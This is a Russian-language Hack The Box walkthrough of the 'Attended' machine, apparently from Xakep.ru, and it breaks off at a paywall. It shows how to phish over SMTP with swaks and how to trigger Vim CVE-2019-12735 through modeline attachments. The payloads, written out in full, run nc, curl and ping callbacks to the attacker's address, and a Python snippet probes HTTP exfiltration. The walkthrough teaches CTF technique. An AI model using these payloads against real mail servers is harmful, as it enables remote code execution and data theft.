warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Адрес машины — 10.10.10.221, сразу добавляем его в /
, чтобы можно было обращаться по имени.
10.10.10.221 attended.htb
Традиционно переходим к сканированию портов:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
По результатам сканирования имеем два открытых порта: 22 (служба SSH) и 25 (SMTP-сервер). На SSH нам ловить нечего (брут учеток — последнее дело!). Остается только порт 25, а в случае с SMTP главный вектор — это фишинг.
В результатах сканирования упоминается имя пользователя guly
, это уже что‑то. Мы будем отправлять сообщение, содержащее наш локальный адрес, и просматривать трафик на наличие сетевого взаимодействия. В тексте сообщения можно написать что угодно, к примеру «Hi, guly! See 10.10.14.121». Для сбора трафика активируем tcpdump и с помощью фильтра отобразим только те пакеты, адрес назначения которых наш локальный.
sudo tcpdump -i tun0 dst 10.10.14.121
Для отправки сообщения будем использовать удобный скрипт swaks. Для указания получателя и отправителя используются параметры --to
и --from
соответственно, текст сообщения указывается в файле, путь к которому передается в параметре --body
, адрес сервера — в параметре -s
.
swaks --to guly@attended.htb --from ralf@attended.htb --body body.txt -s 10.10.10.221:25
Сначала в окне tcpdump будут только ответы сервера, но через несколько секунд мы уже увидим запрос, причем к порту 25.
Точка входа
Кажется, нам пытаются ответить! Чтобы принять ответ, развернем простой сервер SMTP на локальном хосте. Для этого установим и запустим Postfix.
sudo apt install postfix
sudo service postfix start
Все принятые сообщения будут расположены в файле, название которого совпадает с именем локального пользователя (у меня — zralf). А расположен этот файл в директории /
. Для отслеживания входящих писем в постоянном режиме можно запустить проверку в watch.
watch -p 'cat /var/mail/ralf'
Повторим отправку сообщения и получим ответ в консоли watch.
Из текста сообщения отмечаем еще одного пользователя — freshness
, а также упоминание операционной системы OpenBSD (это мы знали) и текстового редактора Vim.
Что бы мы ни делали дальше, никаких ответов, кроме упомянутого сообщения, мы не получим. Что ж, будем работать с теми данными, которые имеем. Во‑первых, в качестве отправителя будем указывать найденного пользователя, а во‑вторых, есть шанс как‑то использовать Vim. Поищем готовые эксплоиты для него.
Для поиска эксплоитов удобна база Exploit-DB, встроенная в Kali Linux и доступная через утилиту searchsploit, но в реальных условиях лучше использовать Google, чтобы искать по всем доступным исследованиям и отчетам, включая самые новые.
Версию используемого текстового редактора мы не знаем, поэтому возьмем эксплоит для самой свежей — 8.1.1365. CVE-2019-12735 позволяет выполнить команды в операционной системе при открытии файлов со специальным содержимым (да, это возможно! Vim — сложный инструмент, а это значит, что такие вот сюрпризы иногда встречаются).
info
Подробнее о происхождении и эксплуатации этого бага читай в статье «Убойный текст. Выполняем произвольный код в Vim и Neovim».
Как указано в описании эксплоита, мы передаем команду, которую нужно выполнить, между символами :
и ||
. Пример выполнения команды uname
:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Попробуем проверить эксплоит на практике, но дело осложняется тем, что мы не видим результата выполнения команды. Поэтому нужно выполнить обращение с удаленного хоста на наш локальный. Попробуем вызвать коннект по протоколу TCP. Сигнализировать об обращении нам будет утилита netcat:
nc -lvp 4321
Для создания коннекта с удаленного хоста тоже можем просто использовать netcat, указав свой IP и прослушиваемый порт (nc [
). Как указано в эксплоите, создадим файл‑вложение со следующим содержимым:
:!nc [ip] 4321||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
И повторим отправку сообщения, указав этот файл в параметре --attach
.
swaks --to guly@attended.htb --from freshness@attended.htb --attach expl.txt -s 10.10.10.221:25
Немного ждем и, не получив никакого отклика, делаем два предположения: либо эксплоит не работает, либо на сервере нет netcat. Давай попробуем сделать то же самое, но уже используя curl и по протоколу HTTP. Изменим команду в прилагаемом файле expl.
.
:!curl http://[ip]:4321||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Снова ждем, ничего не получаем и закрываем листенер netcat. Есть еще два варианта выполнить бэкконнект — DNS и ICMP. Давай попробуем вариант с пингом. Просматривать трафик будем с помощью tcpdump, указав в фильтре только пакет ICMP:
sudo tcpdump -i tun0 icmp
А теперь отправляем файл (команду swaks не привожу, она остается прежней), который в этот раз содержит команду с пингом. И спустя некоторое время получаем отклик!
:!ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Таким образом, мы можем использовать ping как сигнал об успешном или неуспешном выполнении отправленной команды. Для этого будем использовать два конвейера:
-
COMMAND
— если пинг пришел, то команда&& ping [ IP] COMMAND
выполнилась успешно, иначе нет; -
COMMAND
— если пинг пришел, то команда|| ping [ IP] COMMAND
не выполнилась.
Закрепление
Мы можем лишь узнать, выполнилась команда или нет, но не знаем ее результат. Чтобы произвести эксфильтрацию результата выполненных команд, нам нужно найти способ обращаться по HTTP. Нужно найти команду, с помощью которой это можно было бы делать. Как искать? Будем запрашивать help у каждой программы. Начнем с curl, меняем содержимое отправляемого файла:
:!curl -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Пинг не пришел, при этом если использовать другой тип конвейера (curl
), то пакеты идут. Делаем вывод: curl на хосте отсутствует. Теперь проверим таким же способом wget:
:!wget -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Пинга нет, но есть при обратном конвейере ||
, то есть wget тоже отсутствует. Пробуем Python 2:
:!python2 -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
И получаем пинг, а значит, Python 2 есть на хосте! Проверяем, можем ли мы постучаться на свой хост по HTTP. Для начала запустим простой HTTP-сервер на Python 3:
sudo python3 -m http.server 80
А на хосте нужно выполнить такой скрипт:
import requests
requests.get('http://[ip]/test')
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»